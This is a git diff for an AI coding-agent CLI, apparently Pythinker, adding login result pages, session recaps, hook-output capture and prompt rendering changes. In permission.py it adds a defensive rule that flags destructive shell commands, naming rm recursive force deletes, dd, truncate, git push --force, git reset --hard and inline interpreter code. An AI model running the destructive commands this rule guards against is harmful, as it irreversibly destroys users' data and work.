diff --git a/CHANGELOG.md b/CHANGELOG.md index 37c10da6..cdf09924 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ GitHub Releases page; `0.8.0` is the new starting line. ## Unreleased +- **Shell sessions get cleaner recaps and rendering.** The interactive shell can show turn recaps, includes hook stdout/stderr in the transcript, improves prompt/file-mention and tool-output spacing, and uses branded browser-login result pages. - **MiniMax Token Plan model availability stays current.** MiniMax login and startup refresh now use the authenticated model catalog so Token Plan keys only keep models actually available to that key, while preserving user model preferences and isolating discovery failures from other provider refreshes. ## 0.28.0 (2026-05-31) diff --git a/src/pythinker_code/auth/browser_login_page.py b/src/pythinker_code/auth/browser_login_page.py new file mode 100644 index 00000000..b39f8f96 --- /dev/null +++ b/src/pythinker_code/auth/browser_login_page.py @@ -0,0 +1,88 @@ +from __future__ import annotations + +import base64 +import html +from functools import lru_cache +from pathlib import Path + +_PYTHINKER_BRAND_DIR = Path(__file__).resolve().parents[1] / "web" / "static" / "brand" +_PYTHINKER_LOGO_PATH = _PYTHINKER_BRAND_DIR / "icon.svg" +_PYTHINKER_FAVICON_PATH = _PYTHINKER_BRAND_DIR / "favicon.ico" + + +# Bounded: only the two brand assets below are ever passed in; the cap keeps a +# future caller with many distinct paths from leaking memory. +@lru_cache(maxsize=16) +def browser_login_asset_data_uri(path: Path, media_type: str) -> str: + encoded = base64.b64encode(path.read_bytes()).decode("utf-8") + return f"data:{media_type};base64,{encoded}" + + +def browser_login_logo_data_uri() -> str: + return browser_login_asset_data_uri(_PYTHINKER_LOGO_PATH, "image/svg+xml") + + +def browser_login_favicon_data_uri() -> str: + return browser_login_asset_data_uri(_PYTHINKER_FAVICON_PATH, "image/x-icon") + + +def build_browser_login_result_html( + *, + ok: bool, + success_title: str, + failure_title: str, + success_heading: str, + failure_heading: str, + success_body: str, + failure_body: str | None, + fallback_failure_body: str, +) -> str: + title = success_title if ok else failure_title + heading = success_heading if ok else failure_heading + body = success_body if ok else failure_body + escaped_title = html.escape(title) + escaped_heading = html.escape(heading) + escaped_body = html.escape(body or fallback_failure_body) + favicon = html.escape(browser_login_favicon_data_uri(), quote=True) + logo = html.escape(browser_login_logo_data_uri(), quote=True) + return f""" + + + + + {escaped_title} + + + + +
+ +

{escaped_heading}

+

{escaped_body}

+
+ +""" diff --git a/src/pythinker_code/auth/openai.py b/src/pythinker_code/auth/openai.py index d99b3970..e1b02efa 100644 --- a/src/pythinker_code/auth/openai.py +++ b/src/pythinker_code/auth/openai.py @@ -4,7 +4,6 @@ import base64 import binascii import hashlib -import html import json import secrets import time @@ -17,6 +16,7 @@ from pydantic import SecretStr from pythinker_code.auth import OPENAI_API_PLATFORM_ID, OPENAI_CHATGPT_PLATFORM_ID +from pythinker_code.auth.browser_login_page import build_browser_login_result_html from pythinker_code.auth.oauth import ( OAuthError, OAuthEvent, @@ -228,72 +228,17 @@ def _build_authorize_url( return f"{authorize_url}?{query}" -_PYTHINKER_CALLBACK_LOGO_SVG = """ - - - - - - - - - - -""".strip() - - def _callback_html(*, ok: bool, message: str | None) -> str: - title = "Pythinker logged in" if ok else "Pythinker login failed" - heading = "You're logged in to Pythinker" if ok else "Pythinker login failed" - body = "You can close this tab and return to Pythinker." if ok else message - escaped_title = html.escape(title) - escaped_heading = html.escape(heading) - escaped_body = html.escape(body or "OpenAI login failed.") - favicon = html.escape( - "data:image/svg+xml," + _PYTHINKER_CALLBACK_LOGO_SVG.replace("#", "%23"), - quote=True, + return build_browser_login_result_html( + ok=ok, + success_title="Pythinker logged in", + failure_title="Pythinker login failed", + success_heading="You're logged in to Pythinker", + failure_heading="Pythinker login failed", + success_body="You can close this tab and return to Pythinker.", + failure_body=message, + fallback_failure_body="OpenAI login failed.", ) - return f""" - - - - - {escaped_title} - - - - -
- {_PYTHINKER_CALLBACK_LOGO_SVG.replace("

{escaped_body}

-
- -""" async def _handle_browser_callback( diff --git a/src/pythinker_code/config.py b/src/pythinker_code/config.py index 4a65ab49..2bcd7529 100644 --- a/src/pythinker_code/config.py +++ b/src/pythinker_code/config.py @@ -323,6 +323,10 @@ class TUIConfig(BaseModel): "Set false or export PYTHINKER_DISABLE_PROMPT_HISTORY=1 for sensitive sessions." ), ) + turn_recaps: bool = Field( + default=True, + description="Show a compact recap line after completed interactive shell turns.", + ) class MCPConfig(BaseModel): diff --git a/src/pythinker_code/hooks/engine.py b/src/pythinker_code/hooks/engine.py index 022142c4..c8a498e2 100644 --- a/src/pythinker_code/hooks/engine.py +++ b/src/pythinker_code/hooks/engine.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import inspect import re import time import uuid @@ -16,13 +17,77 @@ type OnTriggered = Callable[[str, str, int], None] """(event, target, hook_count) -> None""" -type OnResolved = Callable[[str, str, str, str, int], None] -"""(event, target, action, reason, duration_ms) -> None""" +type OnResolved = Callable[..., None] +"""(event, target, action, reason, duration_ms[, outputs]) -> None. + +Intentionally variadic: ``_resolved_callback_accepts_outputs`` inspects each +concrete callable at runtime and calls it with 5 or 6 positional args, so both +legacy 5-arg subscribers and opt-in 6-arg subscribers are valid. A stricter +Protocol/overload type was tried and rejected — it statically excludes one of +the two arities the runtime deliberately supports (see tests/hooks).""" type OnWireHookRequest = Callable[[WireHookHandle], Awaitable[None]] """Called when a wire hook needs client handling. The callback should send the request over the wire and resolve the handle when the client responds.""" +_MAX_HOOK_OUTPUT_CHARS = 12_000 + + +def _truncate_hook_output(text: str) -> tuple[str, bool]: + if len(text) <= _MAX_HOOK_OUTPUT_CHARS: + return text, False + return text[:_MAX_HOOK_OUTPUT_CHARS].rstrip() + "\n...[truncated]", True + + +def _hook_outputs_for_wire(results: list[HookResult]) -> tuple[dict[str, Any], ...]: + outputs: list[dict[str, Any]] = [] + for result in results: + stdout, stdout_truncated = _truncate_hook_output(result.stdout) + stderr, stderr_truncated = _truncate_hook_output(result.stderr) + if not stdout and not stderr and not result.timed_out: + continue + outputs.append( + { + "stdout": stdout, + "stderr": stderr, + "exit_code": result.exit_code, + "timed_out": result.timed_out, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return tuple(outputs) + + +def _resolved_callback_accepts_outputs(callback: OnResolved) -> bool: + try: + signature = inspect.signature(callback) + except (TypeError, ValueError): + return False + parameters = tuple(signature.parameters.values()) + if any(param.kind == inspect.Parameter.VAR_POSITIONAL for param in parameters): + return True + positional_kinds = { + inspect.Parameter.POSITIONAL_ONLY, + inspect.Parameter.POSITIONAL_OR_KEYWORD, + } + positional = [param for param in parameters if param.kind in positional_kinds] + return len(positional) >= 6 + + +def _call_on_resolved( + callback: OnResolved, + event: str, + target: str, + action: str, + reason: str, + duration_ms: int, + outputs: tuple[dict[str, Any], ...], +) -> None: + if _resolved_callback_accepts_outputs(callback): + callback(event, target, action, reason, duration_ms, outputs) + else: + callback(event, target, action, reason, duration_ms) + @dataclass class WireHookSubscription: @@ -332,7 +397,15 @@ async def _execute_hooks( # --- HookResolved --- if self._on_resolved: try: - self._on_resolved(event, matcher_value, action, reason, duration_ms) + _call_on_resolved( + self._on_resolved, + event, + matcher_value, + action, + reason, + duration_ms, + _hook_outputs_for_wire(results), + ) except Exception as e: from pythinker_code.telemetry.errors import report_handled_error diff --git a/src/pythinker_code/session_recap.py b/src/pythinker_code/session_recap.py new file mode 100644 index 00000000..f73b88c6 --- /dev/null +++ b/src/pythinker_code/session_recap.py @@ -0,0 +1,254 @@ +from __future__ import annotations + +from collections import Counter +from dataclasses import dataclass, field +from datetime import datetime, timedelta +from datetime import time as dt_time + +from pythinker_core.message import Message +from pythinker_host.path import HostPath + +from pythinker_code.session import Session +from pythinker_code.tools.display import DiffDisplayBlock +from pythinker_code.utils.string import shorten +from pythinker_code.wire.types import TextPart, ToolCall, ToolResult, TurnBegin + + +@dataclass(frozen=True, slots=True) +class RecapRange: + label: str + start_ts: float + end_ts: float + + +def _list_str() -> list[str]: + return [] + + +def _counter_str() -> Counter[str]: + return Counter() + + +def _set_str() -> set[str]: + return set() + + +@dataclass(slots=True) +class SessionRecapItem: + title: str + session_id: str + start_ts: float = 0.0 + end_ts: float = 0.0 + turn_count: int = 0 + first_user_message: str = "" + last_user_message: str = "" + assistant_snippets: list[str] = field(default_factory=_list_str) + tool_counts: Counter[str] = field(default_factory=_counter_str) + files_modified: list[str] = field(default_factory=_list_str) + _files_modified_seen: set[str] = field(default_factory=_set_str) + + def add_modified_file(self, path: str) -> None: + if not path or path in self._files_modified_seen: + return + self._files_modified_seen.add(path) + self.files_modified.append(path) + + @property + def duration_minutes(self) -> int: + if not self.start_ts or not self.end_ts: + return 0 + return max(0, round((self.end_ts - self.start_ts) / 60)) + + +def parse_recap_range(args: str, *, now: datetime | None = None) -> RecapRange: + now = now or datetime.now().astimezone() + raw = args.strip().lower() or "today" + + def start_of_day(value: datetime) -> datetime: + return datetime.combine(value.date(), dt_time.min, tzinfo=value.tzinfo) + + def end_of_day(value: datetime) -> datetime: + return datetime.combine(value.date(), dt_time.max, tzinfo=value.tzinfo) + + if raw == "today": + start = start_of_day(now) + end = now + label = "today" + elif raw == "yesterday": + day = now - timedelta(days=1) + start = start_of_day(day) + end = end_of_day(day) + label = "yesterday" + elif raw in {"week", "7d", "past 7 days"}: + start = start_of_day(now - timedelta(days=7)) + end = now + label = "past 7 days" + else: + try: + day = datetime.strptime(raw, "%Y-%m-%d").replace(tzinfo=now.tzinfo) + except ValueError: + raise ValueError( + "Unknown recap period. Use: today, yesterday, week, or YYYY-MM-DD." + ) from None + start = start_of_day(day) + end = end_of_day(day) + label = raw + + return RecapRange(label=label, start_ts=start.timestamp(), end_ts=end.timestamp()) + + +async def build_pythinker_recap(work_dir: HostPath, args: str = "") -> str: + recap_range = parse_recap_range(args) + sessions = await Session.list(work_dir) + items: list[SessionRecapItem] = [] + for session in sessions: + item = await summarize_session_for_recap(session, recap_range) + if item is not None: + items.append(item) + items.sort(key=lambda item: item.start_ts) + return format_recap(items, recap_range) + + +async def summarize_session_for_recap( + session: Session, recap_range: RecapRange +) -> SessionRecapItem | None: + item = SessionRecapItem(title=session.title or "Untitled", session_id=session.id) + + async for record in session.wire_file.iter_records(): + if record.timestamp < recap_range.start_ts or record.timestamp > recap_range.end_ts: + continue + msg = record.to_wire_message() + if item.start_ts == 0.0: + item.start_ts = record.timestamp + item.end_ts = record.timestamp + + if isinstance(msg, TurnBegin): + text = ( + msg.user_input + if isinstance(msg.user_input, str) + else Message(role="user", content=msg.user_input).extract_text(" ") + ).strip() + if text: + item.turn_count += 1 + if not item.first_user_message: + item.first_user_message = text + item.last_user_message = text + continue + + if isinstance(msg, TextPart): + text = " ".join(msg.text.split()) + if text: + item.assistant_snippets.append(text) + continue + + if isinstance(msg, ToolCall): + item.tool_counts[msg.function.name] += 1 + continue + + if isinstance(msg, ToolResult): + for block in getattr(msg.return_value, "display", []) or []: + if isinstance(block, DiffDisplayBlock): + item.add_modified_file(block.path) + + if item.turn_count == 0: + return None + return item + + +def format_recap(items: list[SessionRecapItem], recap_range: RecapRange) -> str: + title = f"**Recap — {recap_range.label}**" + if not items: + return f"{title}\n\nNo Pythinker sessions found for this period." + + total_minutes = sum(item.duration_minutes for item in items) + total_turns = sum(item.turn_count for item in items) + lines = [title, "", "**What you worked on:**"] + for item in items: + duration = _format_duration(item.duration_minutes) + tools = _format_tool_counts(item.tool_counts) + first = shorten(item.first_user_message, width=150) + line = f"- **{item.title}** ({duration}, {item.turn_count} turns) — {first}" + if tools: + line += f" Tools: {tools}." + if item.files_modified: + shown = ", ".join(shorten(path, width=48) for path in item.files_modified[:4]) + hidden = len(item.files_modified) - 4 + line += f" Modified: {shown}{f', +{hidden} more' if hidden > 0 else ''}." + lines.append(line) + + lines.extend(["", "**Summary:**"]) + lines.append( + f"- {len(items)} session{'s' if len(items) != 1 else ''}, " + f"{total_turns} turn{'s' if total_turns != 1 else ''}, " + f"{_format_duration(total_minutes)} of visible Pythinker activity." + ) + last_thread = _last_substantive_thread(items) + if last_thread: + lines.extend(["", "**A thread worth remembering:**", last_thread]) + return "\n".join(lines) + + +def build_turn_recap_line( + *, request: str, assistant_text: str = "", step_count: int | None = None +) -> str | None: + source = _first_sentence(assistant_text) or request.strip() + if not source: + return None + summary = shorten(" ".join(source.split()), width=180) + if step_count is not None and step_count > 0: + summary += f" ({step_count} step{'s' if step_count != 1 else ''})" + return f"※ recap: {summary} (disable recaps in /settings)" + + +def _last_substantive_thread(items: list[SessionRecapItem]) -> str: + for item in reversed(items): + if item.last_user_message: + return shorten(item.last_user_message, width=220) + return "" + + +def _first_sentence(text: str) -> str: + cleaned = " ".join(text.split()) + if not cleaned: + return "" + for sep in (". ", "! ", "? "): + idx = cleaned.find(sep) + if idx >= 40: + return cleaned[: idx + 1] + return cleaned + + +def _format_duration(minutes: int) -> str: + if minutes < 1: + return "<1 min" + if minutes < 60: + return f"~{minutes} min" + hours, mins = divmod(minutes, 60) + if mins == 0: + return f"~{hours} hr" + return f"~{hours} hr {mins} min" + + +def _format_tool_counts(counts: Counter[str]) -> str: + if not counts: + return "" + parts: list[str] = [] + for name, count in counts.most_common(4): + label = _tool_label(name) + parts.append(f"{label} ×{count}" if count > 1 else label) + hidden = len(counts) - len(parts) + if hidden > 0: + parts.append(f"+{hidden} more") + return ", ".join(parts) + + +def _tool_label(name: str) -> str: + return { + "ReadFile": "Read", + "WriteFile": "Write", + "StrReplaceFile": "Edit", + "Grep": "Search", + "Glob": "Find", + "Shell": "Bash", + "Agent": "Agent", + }.get(name, name) diff --git a/src/pythinker_code/soul/permission.py b/src/pythinker_code/soul/permission.py index 7060e16b..6d22b1b4 100644 --- a/src/pythinker_code/soul/permission.py +++ b/src/pythinker_code/soul/permission.py @@ -427,3 +427,109 @@ def _first_non_option(args: list[str]) -> str | None: if not arg.startswith("-"): return arg return None + + +# --- Destructive (irreversible) classification ----------------------------- +# Distinct from "mutating": `mkdir`/`touch` mutate the workspace but are easy to +# undo, so they only matter for read-only profile enforcement. A *destructive* +# command is hard/impossible to reverse (recursive force-delete, force-push, +# hard reset, raw disk writes), so in auto mode it routes the agent into a +# deliberation turn instead of being auto-approved. The two questions are +# deliberately separate; this reuses the same token parser as +# ``shell_mutation_reason`` so it inherits the wrapper/quote/chain hardening. +_OPAQUE_INTERPRETERS = { + "bash", + "sh", + "zsh", + "dash", + "ksh", + "csh", + "tcsh", + "fish", + "lua", + "node", + "perl", + "python", + "python3", + "ruby", +} +# Flags that hand an interpreter inline code the token parser cannot inspect. +# A bare `python script.py` is NOT opaque; only inline `-c`/`-e` code is. +_INLINE_CODE_FLAGS = {"-c", "-e"} + + +def _short_flag_letters(arg: str) -> set[str]: + """Letters of a clustered short-flag arg: ``-rf`` -> ``{'r', 'f'}``. + + Long flags (``--force``) and non-flag tokens return an empty set. + """ + if len(arg) < 2 or not arg.startswith("-") or arg.startswith("--"): + return set() + letters = arg[1:] + if not letters.isalpha(): + return set() + return set(letters) + + +def shell_destructive_reason(command: str) -> str | None: + """Best-effort guard for *irreversible* shell commands warranting deliberation. + + Returns a human-readable reason when the command is destructive, else ``None``. + Shares the tokenization path of :func:`shell_mutation_reason` (``shlex`` split, + wrapper unwrap, git-subcommand extraction), so ``sudo``/``env`` wrappers, + quoting, and ``;``/``&&``/``||``/``|`` chains are all covered. Unparsable input + is treated conservatively as destructive. + """ + try: + tokens = shlex.split(command, posix=True) + except ValueError: + return "unparsable shell command" + + segment: list[str] = [] + for token in [*tokens, ";"]: + if token in _SHELL_SEGMENT_SEPARATORS: + reason = _segment_destructive_reason(segment) + if reason is not None: + return reason + segment = [] + else: + segment.append(token) + return None + + +def _segment_destructive_reason(tokens: list[str]) -> str | None: + if not tokens: + return None + command, args = _unwrap_command(tokens) + if command is None: + return None + base = command.rsplit("/", 1)[-1] + + if base == "rm": + recursive = any( + arg in ("-r", "-R", "--recursive") or bool({"r", "R"} & _short_flag_letters(arg)) + for arg in args + ) + forced = any(arg == "--force" or "f" in _short_flag_letters(arg) for arg in args) + # Phase 1: require BOTH recursive and force. `rm -r dir` (no -f) and + # `rm -f file` (no -r) are intentionally allowed to limit chattiness. + return "rm recursive force delete" if recursive and forced else None + if base in ("dd", "truncate"): + return f"{base} raw write" + if base == "git": + subcommand = _git_subcommand(args) + if subcommand == "push" and any( + arg in ("--force", "-f") or arg.startswith("--force-with-lease") for arg in args + ): + return "git push --force" + if subcommand == "reset" and "--hard" in args: + return "git reset --hard" + if subcommand == "clean" and any( + arg == "--force" or "f" in _short_flag_letters(arg) for arg in args + ): + return "git clean -f" + return None + # Inline-code interpreters are opaque to the token parser -> deliberate. + if base in _OPAQUE_INTERPRETERS and any(arg in _INLINE_CODE_FLAGS for arg in args): + return f"opaque inline code via {base}" + return None diff --git a/src/pythinker_code/soul/slash.py b/src/pythinker_code/soul/slash.py index 029f0c30..094cbb50 100644 --- a/src/pythinker_code/soul/slash.py +++ b/src/pythinker_code/soul/slash.py @@ -56,6 +56,19 @@ async def init(soul: PythinkerSoul, args: str): track("init_complete") +@registry.command +async def recap(soul: PythinkerSoul, args: str) -> None: + """Recap Pythinker sessions. Usage: /recap [today|yesterday|week|YYYY-MM-DD]""" + from pythinker_code.session_recap import build_pythinker_recap + + try: + text = await build_pythinker_recap(soul.runtime.session.work_dir, args) + except ValueError as exc: + wire_send(TextPart(text=str(exc))) + return + wire_send(TextPart(text=text)) + + @registry.command async def compact(soul: PythinkerSoul, args: str): """Compact the context (optionally with a custom focus, e.g. /compact keep db discussions)""" diff --git a/src/pythinker_code/ui/print/visualize.py b/src/pythinker_code/ui/print/visualize.py index 923ca9fb..a3896df7 100644 --- a/src/pythinker_code/ui/print/visualize.py +++ b/src/pythinker_code/ui/print/visualize.py @@ -1,7 +1,9 @@ +import sys from typing import Protocol import rich from pythinker_core.message import Message +from rich.console import Console from pythinker_code.cli import OutputFormat from pythinker_code.soul.message import tool_result_to_message @@ -142,16 +144,23 @@ def flush(self) -> None: self._content_buffer.clear() +def _stdout_is_terminal() -> bool: + isatty = getattr(sys.stdout, "isatty", None) + return bool(isatty and isatty()) + + def _print_final_text(text: str) -> None: - """Print the final assistant text, rendering any ` ```report ` block as a - clean report. Plain prose is printed verbatim so non-report output is - byte-identical (and pipe-safe — Rich drops colour on a non-TTY stdout).""" + """Print final assistant text with terminal-safe wrapping. + + Pipes keep non-report prose byte-identical. Interactive terminals render + through the shell Markdown/report path so final answers wrap at word + boundaries instead of letting the terminal hard-wrap and clip mid-word. + """ from pythinker_code.ui.shell.components.report import has_report_block, render_agent_body - if not has_report_block(text): + if not has_report_block(text) and not _stdout_is_terminal(): print(text, flush=True) return - from rich.console import Console Console().print(render_agent_body(text)) diff --git a/src/pythinker_code/ui/shell/__init__.py b/src/pythinker_code/ui/shell/__init__.py index bb4bc746..f84321ca 100644 --- a/src/pythinker_code/ui/shell/__init__.py +++ b/src/pythinker_code/ui/shell/__init__.py @@ -1151,6 +1151,7 @@ def _handler(): snap = self.soul.status runtime = self.soul.runtime if isinstance(self.soul, PythinkerSoul) else None show_thinking_stream = runtime.config.show_thinking_stream if runtime else False + show_turn_recaps = runtime.config.tui.turn_recaps if runtime else False # Capture view reference via closure — _clear_active_view sets # _active_view=None inside visualize()'s finally (before run_soul # returns), so we must capture the view object independently. @@ -1181,6 +1182,7 @@ def _on_view_ready(view: Any) -> None: on_view_ready=_on_view_ready, on_view_closed=self._clear_active_view, show_thinking_stream=show_thinking_stream, + show_turn_recaps=show_turn_recaps, ), cancel_event, runtime.session.wire_file if runtime else None, @@ -1233,6 +1235,7 @@ def _on_view_ready(view: Any) -> None: on_view_ready=_on_view_ready, on_view_closed=self._clear_active_view, show_thinking_stream=show_thinking_stream, + show_turn_recaps=show_turn_recaps, ), cancel_event, runtime.session.wire_file if runtime else None, diff --git a/src/pythinker_code/ui/shell/components/render_utils.py b/src/pythinker_code/ui/shell/components/render_utils.py index d0be12e4..2f377ff8 100644 --- a/src/pythinker_code/ui/shell/components/render_utils.py +++ b/src/pythinker_code/ui/shell/components/render_utils.py @@ -19,6 +19,10 @@ _ANSI_APC_RE = re.compile(r"\x1b_[^\x07\x1b]*(?:\x07|\x1b\\)") _ANSI_ST_RE = re.compile(r"\x1b\\") _CONTROL_RE = re.compile(r"[\x00-\x08\x0b-\x0d\x0e-\x1f\x7f]") +# 8-bit C1 controls (0x80-0x9F): includes the single-byte CSI/OSC/PM/APC +# introducers that most terminals still interpret. Strip them up front so the +# 7-bit ANSI passes below see no orphaned 8-bit escape openers. +_C1_CONTROL_RE = re.compile(r"[\x80-\x9f]") @dataclass(frozen=True, slots=True) @@ -192,7 +196,8 @@ def sanitize_ansi(text: str) -> str: shell output into a Rich renderable to avoid cursor-movement and color leaks that break layout. """ - no_csi = _ANSI_CSI_RE.sub("", text) + no_c1 = _C1_CONTROL_RE.sub("", text) + no_csi = _ANSI_CSI_RE.sub("", no_c1) no_osc = _ANSI_OSC_RE.sub("", no_csi) no_apc = _ANSI_APC_RE.sub("", no_osc) no_st = _ANSI_ST_RE.sub("", no_apc) diff --git a/src/pythinker_code/ui/shell/components/tool_execution.py b/src/pythinker_code/ui/shell/components/tool_execution.py index 3d4edaf0..2e5d820d 100644 --- a/src/pythinker_code/ui/shell/components/tool_execution.py +++ b/src/pythinker_code/ui/shell/components/tool_execution.py @@ -162,6 +162,7 @@ def render(self, width: int = 0) -> RenderableType: # noqa: ARG002 — width re width = console.size.width except Exception: # noqa: BLE001 - rendering must not fail on width lookup width = 100 + self._renderer_state.pop("__has_expandable_payload__", None) self._renderer_state.pop("__suppress_generic_expand_hint__", None) ctx = self._build_context(width=width) children: list[RenderableType] = [] @@ -294,6 +295,8 @@ def _result_fallback(self) -> RenderableType | None: def _has_expandable_payload(self) -> bool: """Heuristic: return True when expanding can plausibly reveal more payload.""" + if self._renderer_state.get("__has_expandable_payload__"): + return True result = self._state.result if result is None or not result.text: return False diff --git a/src/pythinker_code/ui/shell/echo.py b/src/pythinker_code/ui/shell/echo.py index b4257742..26cfc55d 100644 --- a/src/pythinker_code/ui/shell/echo.py +++ b/src/pythinker_code/ui/shell/echo.py @@ -1,11 +1,29 @@ from __future__ import annotations from pythinker_core.message import Message -from rich.console import RenderableType +from rich.console import Console, ConsoleOptions, Group, RenderableType, RenderResult +from rich.measure import Measurement from rich.text import Text from pythinker_code.ui.shell.prompt import PROMPT_SYMBOL_AGENT_INPUT +from pythinker_code.ui.shell.spacing import BLANK_ROW from pythinker_code.utils.message import message_stringify +from pythinker_code.utils.rich.columns import BulletColumns + + +class UserEcho: + """Transcript-shaped user input with aligned wrapped continuation rows.""" + + def __init__(self, text: str) -> None: + self._text = text + self.plain = f"{PROMPT_SYMBOL_AGENT_INPUT} {text}" + self._body = BulletColumns(Text(text), bullet=Text(PROMPT_SYMBOL_AGENT_INPUT), padding=1) + + def __rich_measure__(self, console: Console, options: ConsoleOptions) -> Measurement: + return Measurement.get(console, options, self._body) + + def __rich_console__(self, console: Console, options: ConsoleOptions) -> RenderResult: + yield from console.render(Group(BLANK_ROW, self._body), options) def render_user_echo(message: Message) -> RenderableType: @@ -15,9 +33,9 @@ def render_user_echo(message: Message) -> RenderableType: is echoed back with the same prompt marker shown in the live input row. """ text = message_stringify(message) - return Text(f"{PROMPT_SYMBOL_AGENT_INPUT} {text}") + return UserEcho(text) def render_user_echo_text(text: str) -> RenderableType: """Render submitted local prompt text in the transcript.""" - return Text(f"{PROMPT_SYMBOL_AGENT_INPUT} {text}") + return UserEcho(text) diff --git a/src/pythinker_code/ui/shell/prompt.py b/src/pythinker_code/ui/shell/prompt.py index 5e943a01..da1d476a 100644 --- a/src/pythinker_code/ui/shell/prompt.py +++ b/src/pythinker_code/ui/shell/prompt.py @@ -35,7 +35,12 @@ from prompt_toolkit.data_structures import Point from prompt_toolkit.document import Document from prompt_toolkit.filters import Condition, has_completions -from prompt_toolkit.formatted_text import AnyFormattedText, FormattedText, to_formatted_text +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + FormattedText, + StyleAndTextTuples, + to_formatted_text, +) from prompt_toolkit.history import InMemoryHistory from prompt_toolkit.key_binding import KeyBindings, KeyPressEvent from prompt_toolkit.keys import Keys @@ -45,9 +50,11 @@ FloatContainer, HSplit, Window, + WindowRenderInfo, ) from prompt_toolkit.layout.controls import BufferControl, UIContent, UIControl from prompt_toolkit.layout.dimension import Dimension +from prompt_toolkit.layout.margins import Margin from prompt_toolkit.layout.menus import CompletionsMenu from prompt_toolkit.patch_stdout import patch_stdout from prompt_toolkit.utils import get_cwidth @@ -95,6 +102,7 @@ PROMPT_SYMBOL_THINKING = "💫" PROMPT_SYMBOL_PLAN = "📋" _CARD_SIDE_PADDING = 2 +_INPUT_RIGHT_PADDING = 2 # prompt_toolkit 3.0.52 can emit these during prompt shutdown on Python 3.14 @@ -367,6 +375,30 @@ def _extend_rows(out: FormattedText, rows: list[FormattedText]) -> None: out.append(("", "\n")) +class _PromptRightPaddingMargin(Margin): + """Reserve blank columns at the right edge of the prompt input window.""" + + def __init__(self, width: Callable[[], int]) -> None: + self._width = width + + def get_width(self, get_ui_content: Callable[[], UIContent]) -> int: + del get_ui_content + return max(0, self._width()) + + def create_margin( + self, + window_render_info: WindowRenderInfo, + width: int, + height: int, + ) -> StyleAndTextTuples: + del height + fragments: StyleAndTextTuples = [] + for _ in window_render_info.displayed_lines: + fragments.append(("class:compact-input", " " * width)) + fragments.append(("", "\n")) + return fragments + + def _background_task_summary(counts: BgTaskCounts) -> str | None: total = counts.bash + counts.agent if total <= 0: @@ -974,6 +1006,182 @@ def _render_selected_item_lines( return lines +class LocalFileMentionMenuControl(UIControl): + """Render `@` file completions as a clean inline, two-column menu.""" + + _MIN_DETAIL_WIDTH = 16 + _MAX_NAME_WIDTH = 32 + + def __init__( + self, + *, + left_padding: Callable[[], int], + scroll_offset: int = 1, + ) -> None: + self._left_padding = left_padding + self._scroll_offset = scroll_offset + + def has_focus(self) -> bool: + return False + + def preferred_width(self, max_available_width: int) -> int | None: + return max_available_width + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Callable[..., AnyFormattedText] | None, + ) -> int | None: + app = get_app_or_none() + complete_state = ( + getattr(app.current_buffer, "complete_state", None) if app is not None else None + ) + if complete_state is None or not complete_state.completions: + return 0 + # Reserve the final row for the position counter. + return min(max_available_height, len(complete_state.completions) + 1) + + def create_content(self, width: int, height: int) -> UIContent: + app = get_app_or_none() + complete_state = ( + getattr(app.current_buffer, "complete_state", None) if app is not None else None + ) + if complete_state is None or not complete_state.completions or height <= 0: + return UIContent() + + completions = complete_state.completions + selected_index = complete_state.complete_index or 0 + selected_index = max(0, min(selected_index, len(completions) - 1)) + show_count = height > 1 + item_rows = max(1, height - (1 if show_count else 0)) + start, end = self._visible_window_bounds( + completion_count=len(completions), + selected_index=selected_index, + available_rows=item_rows, + ) + + menu_width = max(0, width - self._left_padding()) + marker_width = 2 + gap_width = 4 if menu_width >= 48 else 2 + detail_enabled = menu_width >= marker_width + gap_width + self._MIN_DETAIL_WIDTH + 12 + if detail_enabled: + name_width = min( + self._MAX_NAME_WIDTH, + max(12, (menu_width - marker_width - gap_width) // 2), + ) + detail_width = max(0, menu_width - marker_width - name_width - gap_width) + else: + name_width = max(0, menu_width - marker_width) + detail_width = 0 + gap_width = 0 + + rendered_lines: list[FormattedText] = [] + selected_line_index = 0 + for index in range(start, end + 1): + if index == selected_index: + selected_line_index = len(rendered_lines) + rendered_lines.append( + self._render_item_line( + width=width, + completion=completions[index], + is_current=index == selected_index, + marker_width=marker_width, + name_width=name_width, + gap_width=gap_width, + detail_width=detail_width, + ) + ) + + if show_count: + rendered_lines.append( + self._render_count_line( + width=width, + selected_index=selected_index, + total=len(completions), + marker_width=marker_width, + ) + ) + + return UIContent( + get_line=lambda i: rendered_lines[i], + line_count=len(rendered_lines), + cursor_position=Point(x=0, y=selected_line_index), + ) + + def _visible_window_bounds( + self, + *, + completion_count: int, + selected_index: int, + available_rows: int, + ) -> tuple[int, int]: + visible_rows = min(completion_count, max(1, available_rows)) + max_start = max(0, completion_count - visible_rows) + start = min(max(0, selected_index - self._scroll_offset), max_start) + return start, start + visible_rows - 1 + + def _render_item_line( + self, + *, + width: int, + completion: Completion, + is_current: bool, + marker_width: int, + name_width: int, + gap_width: int, + detail_width: int, + ) -> FormattedText: + left_padding = min(self._left_padding(), width) + name = completion.display_text or completion.text + detail = (completion.text or name).rstrip("/") + marker = "→ " if is_current else " " + marker_style = ( + "class:file-completion-menu.marker.current" + if is_current + else "class:file-completion-menu.marker" + ) + name_style = ( + "class:file-completion-menu.name.current" + if is_current + else "class:file-completion-menu.name" + ) + detail_style = ( + "class:file-completion-menu.detail.current" + if is_current + else "class:file-completion-menu.detail" + ) + + fragments: FormattedText = FormattedText() + fragments.append(("class:file-completion-menu", " " * left_padding)) + fragments.append((marker_style, marker.ljust(marker_width))) + fragments.append((name_style, _truncate_to_width(name, name_width))) + if detail_width > 0: + fragments.append(("class:file-completion-menu", " " * gap_width)) + fragments.append((detail_style, _truncate_to_width(detail, detail_width))) + used_width = left_padding + marker_width + name_width + gap_width + detail_width + if used_width < width: + fragments.append(("class:file-completion-menu", " " * (width - used_width))) + return fragments + + def _render_count_line( + self, + *, + width: int, + selected_index: int, + total: int, + marker_width: int, + ) -> FormattedText: + left_padding = min(self._left_padding() + marker_width, width) + label = f"({selected_index + 1}/{total})" + fragments: FormattedText = FormattedText() + fragments.append(("class:file-completion-menu", " " * left_padding)) + count_text = _truncate_to_width(label, max(0, width - left_padding)) + fragments.append(("class:file-completion-menu.count", count_text)) + return fragments + + class LocalFileMentionCompleter(Completer): """Offer fuzzy `@` path completion by indexing workspace files. @@ -1108,6 +1316,11 